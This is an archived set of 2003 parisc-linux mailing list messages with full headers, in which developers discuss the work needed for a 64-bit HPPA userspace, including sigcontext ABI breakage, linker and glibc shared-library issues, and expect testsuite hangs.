> One individual who's not mentioned here is Lamont Jones who runs the
> Debian hppa autobuilder.  He's doing a great job of keeping us >99%
> uptodate.

Good call! Where would we be without lj :)

c.



From - Thu Nov 08 21:26:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64 userspace
Date: Wed, 15 Jan 2003 13:54:38 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <20030115185438.GC19253@systemhalted>
References: <9A0482A7BD2506488AD9417C93F3714F011A1AE6@xsp01.brazil.hp.com> <200301151840.h0FIeS9I018903@hiauly1.hia.nrc.ca> <20030115184636.M26554@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622120 20298 80.91.229.3 (22 Nov 2014 02:08:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:40 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	"FARINATI, LEANDRO" <leandro.farinati@hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 15 11:55:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00207807b093-CM.cpe.net.cable.rogers.com [24.112.180.230])
	by dsl2.external.hp.com (Postfix) with ESMTP id 41C864829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Jan 2003 11:55:13 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18YsgQ-0005Kn-00; Wed, 15 Jan 2003 13:54:38 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Matthew Wilcox <willy@debian.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	"FARINATI, LEANDRO" <leandro.farinati@hp.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20030115184636.M26554@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (90% Sync Ratio [=========.])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17413

> > 1) Kernel -- design and implement 64-bit system calls.
> 
> Another piece of the kernelside puzzle is designing the VM layout for
> 64-bit processes.  Do we want to (as ia64 does) reserve parts of the address
> space for the kernel?  Map shared libraries in different quadrants from
> the user process?  Keep data in yet another quadrant?
> 
> It's a lot of work, and I'm not sure the will is there to make it happen.
> 

We are swamped with a 32-bit userspace, and 32/64-bit kernel, creating a
full 64-bit userspace is extremely difficult. I'm currently trying to
workout the bits to get a static 64-bit Glibc, though currently fixing
the 32-bit Glibc we have is time consuming enough.

c.



From - Thu Nov 08 21:26:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64 userspace
Date: Wed, 15 Jan 2003 14:01:54 -0500
Lines: 42
Approved: news@gmane.org
Message-ID: <20030115190154.GA20519@systemhalted>
References: <9A0482A7BD2506488AD9417C93F3714F011A1AE6@xsp01.brazil.hp.com> <200301151840.h0FIeS9I018903@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622121 20300 80.91.229.3 (22 Nov 2014 02:08:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:41 +0000 (UTC)
Cc: "FARINATI, LEANDRO" <leandro.farinati@hp.com>,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 15 12:01:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00207807b093-CM.cpe.net.cable.rogers.com [24.112.180.230])
	by dsl2.external.hp.com (Postfix) with ESMTP id 581754829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Jan 2003 12:01:56 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18YsnS-0005Lt-00; Wed, 15 Jan 2003 14:01:54 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	"FARINATI, LEANDRO" <leandro.farinati@hp.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <200301151840.h0FIeS9I018903@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (26% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17414

> To my knowledge, there isn't one.  Roughly what is required is:
> 
> 1) Kernel -- design and implement 64-bit system calls.

Currently, 64-bit kernels return bogus sigcontext structures to our
32-bit userspace, they stuff the sigcontext with 64-bit registers when
it is only expecting 32-bits. It seems like sigcontext should be
expanded to have 64-bits per register for both 32 and 64 bit kernels?
This is definately an ABI breakage. Though it's funny that not many
programs are broken under 64-bit kernels, but I guess that without
*context() calls implemented for HPPA in glibc, the returned ucontext is
not used (except for that weird LISP interpreter that Krystof was
porting).
 
> 2) Binutils -- port hpux 64-bit tools to linux.

I thought we had a 64-bit binutils port?

> 3) Gdb -- same as binutils.

This would require some work.

> 4) GCC --  same as binutils.

hppa64-linux-gcc?

> 5) Glibc -- implement 64-bit specific parts of ABI and system calls.

This is a biggie, 64-bit SHLIBS being the large headache.

> Are you offering support from HP?  It's taken a number of years to
> get to the current state of development on the 32-bit port given the
> level of volunteer effort and support from HP.  What you are asking
> won't happen for months, if not years.  The time to implement a 64-bit
> userspace won't be as great as for the 32-bit port, but it still a
> very significant effort.

Perhaps we will see it's emergence in the next few years :)

c.



From - Thu Nov 08 21:26:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64 userspace
Date: Wed, 15 Jan 2003 14:09:44 -0500 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <200301151909.h0FJ9iL1021952@hiauly1.hia.nrc.ca>
References: <20030115190154.GA20519@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622121 20302 80.91.229.3 (22 Nov 2014 02:08:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:41 +0000 (UTC)
Cc: leandro.farinati@hp.com, parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 15 12:09:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 382784829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Jan 2003 12:09:48 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h0FJ9jot021953;
	Wed, 15 Jan 2003 14:09:46 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h0FJ9iL1021952;
	Wed, 15 Jan 2003 14:09:44 -0500 (EST)
In-Reply-To: <20030115190154.GA20519@systemhalted> from "Carlos O'Donell" at Jan 15, 2003 02:01:54 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17415

> > To my knowledge, there isn't one.  Roughly what is required is:
> > 
> > 1) Kernel -- design and implement 64-bit system calls.
> 
> Currently, 64-bit kernels return bogus sigcontext structures to our
> 32-bit userspace, they stuff the sigcontext with 64-bit registers when
> it is only expecting 32-bits. It seems like sigcontext should be
> expanded to have 64-bits per register for both 32 and 64 bit kernels?
> This is definately an ABI breakage. Though it's funny that not many
> programs are broken under 64-bit kernels, but I guess that without
> *context() calls implemented for HPPA in glibc, the returned ucontext is
> not used (except for that weird LISP interpreter that Krystof was
> porting).

I wonder if this isn't the problem with expect.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64 userspace
Date: Wed, 15 Jan 2003 14:17:01 -0500 (EST)
Lines: 17
Approved: news@gmane.org
Message-ID: <200301151917.h0FJH1v8021988@hiauly1.hia.nrc.ca>
References: <20030115190154.GA20519@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622121 20306 80.91.229.3 (22 Nov 2014 02:08:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:41 +0000 (UTC)
Cc: leandro.farinati@hp.com, parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 15 12:17:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 90D914829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Jan 2003 12:17:04 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h0FJH2ot021990;
	Wed, 15 Jan 2003 14:17:02 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h0FJH1v8021988;
	Wed, 15 Jan 2003 14:17:01 -0500 (EST)
In-Reply-To: <20030115190154.GA20519@systemhalted> from "Carlos O'Donell" at Jan 15, 2003 02:01:54 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17416

> > 2) Binutils -- port hpux 64-bit tools to linux.
> 
> I thought we had a 64-bit binutils port?

There enough to build kernels, static binaries, ...  The linker is really
the problem.  First, we would need the processor/os specific ELF
specification.  The handling of function pointers is another key part
as it affects how shared libraries are implemented and the dynamic loader.

I don't see the gcc issues as major as we have the code generation part
pretty much under control.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64 userspace
Date: Wed, 15 Jan 2003 14:26:34 -0500
Lines: 35
Approved: news@gmane.org
Message-ID: <20030115192634.GD20519@systemhalted>
References: <20030115190154.GA20519@systemhalted> <200301151909.h0FJ9iL1021952@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622122 20312 80.91.229.3 (22 Nov 2014 02:08:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 15 12:26:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00207807b093-CM.cpe.net.cable.rogers.com [24.112.180.230])
	by dsl2.external.hp.com (Postfix) with ESMTP id A866C4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Jan 2003 12:26:32 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18YtBK-0005Qh-00; Wed, 15 Jan 2003 14:26:34 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <200301151909.h0FJ9iL1021952@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (26% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17417

> > > 1) Kernel -- design and implement 64-bit system calls.
> > 
> > Currently, 64-bit kernels return bogus sigcontext structures to our
> > 32-bit userspace, they stuff the sigcontext with 64-bit registers when
> > it is only expecting 32-bits. It seems like sigcontext should be
> > expanded to have 64-bits per register for both 32 and 64 bit kernels?
> > This is definately an ABI breakage. Though it's funny that not many
> > programs are broken under 64-bit kernels, but I guess that without
> > *context() calls implemented for HPPA in glibc, the returned ucontext is
> > not used (except for that weird LISP interpreter that Krystof was
> > porting).
> 
> I wonder if this isn't the problem with expect.
> 

Shazam! Ballz in your court. I ran across this problem in the summer
when working with Krystof. He actually caused my C3K to crash, different
issue though :}

If you look at parisc/kernel/signal.c and look for the word "HACK"
you'll see what I mean. There are few expletives that need to be cleaned
up. Randolph had suggested adding thread personalities so we can tell
what the userspace looks like and choose the right sigcontext to send
back. However, it seems that truncating the 64-bit regs is a crazy thing
to do since you might lose information.

I'm all for expanding the sigcontext to 64-bits. As a matter of fact
I'll try rebuilding glibc with an expanded sigcontext (remembering that
it has to be changed in the kernel definition and the glibc definition).
Added to that will be the minor hack to your ldwc_align code to fdce the
lock cacheline before usage.

c.



From - Thu Nov 08 21:26:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64 userspace
Date: Wed, 15 Jan 2003 14:27:35 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <20030115192735.GE20519@systemhalted>
References: <20030115190154.GA20519@systemhalted> <200301151917.h0FJH1v8021988@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622122 20316 80.91.229.3 (22 Nov 2014 02:08:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:42 +0000 (UTC)
Cc: leandro.farinati@hp.com, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 15 12:27:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00207807b093-CM.cpe.net.cable.rogers.com [24.112.180.230])
	by dsl2.external.hp.com (Postfix) with ESMTP id D7DB04829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Jan 2003 12:27:35 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18YtCJ-0005Qu-00; Wed, 15 Jan 2003 14:27:35 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>, leandro.farinati@hp.com,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <200301151917.h0FJH1v8021988@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (26% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17418

> > I thought we had a 64-bit binutils port?
> 
> There enough to build kernels, static binaries, ...  The linker is really
> the problem.  First, we would need the processor/os specific ELF
> specification.  The handling of function pointers is another key part
> as it affects how shared libraries are implemented and the dynamic loader.

Okay. Were on the same page :)
 
> I don't see the gcc issues as major as we have the code generation part
> pretty much under control.

Yup :)

c.



From - Thu Nov 08 21:26:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64 userspace
Date: Wed, 15 Jan 2003 14:31:43 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <20030115193143.GF20519@systemhalted>
References: <20030115190154.GA20519@systemhalted> <200301151909.h0FJ9iL1021952@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622122 20317 80.91.229.3 (22 Nov 2014 02:08:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 15 12:31:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00207807b093-CM.cpe.net.cable.rogers.com [24.112.180.230])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1F2864829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Jan 2003 12:31:41 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18YtGK-0005S5-00; Wed, 15 Jan 2003 14:31:44 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <200301151909.h0FJ9iL1021952@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (26% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17419

> 
> I wonder if this isn't the problem with expect.
> 
> Dave

On another note, if expect calls code that uses atomic_add,
compare_and_swap, and exchange_and_add, they are currently generic and
not guaranteed to be atomic under any situation.

See atomicity.h.

Damn, I should really get around to implementing these.

c.



From - Thu Nov 08 21:26:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64 userspace
Date: Wed, 15 Jan 2003 14:49:26 -0500 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <200301151949.h0FJnQq1029095@hiauly1.hia.nrc.ca>
References: <20030115193143.GF20519@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622123 20320 80.91.229.3 (22 Nov 2014 02:08:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 15 12:49:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 109A24829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Jan 2003 12:49:30 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h0FJnRot029101;
	Wed, 15 Jan 2003 14:49:27 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h0FJnQq1029095;
	Wed, 15 Jan 2003 14:49:26 -0500 (EST)
In-Reply-To: <20030115193143.GF20519@systemhalted> from "Carlos O'Donell" at Jan 15, 2003 02:31:43 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17420

> > I wonder if this isn't the problem with expect.
> > 
> > Dave
> 
> On another note, if expect calls code that uses atomic_add,
> compare_and_swap, and exchange_and_add, they are currently generic and
> not guaranteed to be atomic under any situation.
> 
> See atomicity.h.

I doubt it.  It does a lot of waiting around with alarm signals going off.
As I recall, when it is filling the syslog, there are two expect processes
running and killing the child fixes the problem.  This causes dejagnu to
abort the current testsuite.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Interesting network card ...
Date: Wed, 15 Jan 2003 20:52:15 +0100 (CET)
Lines: 19
Approved: news@gmane.org
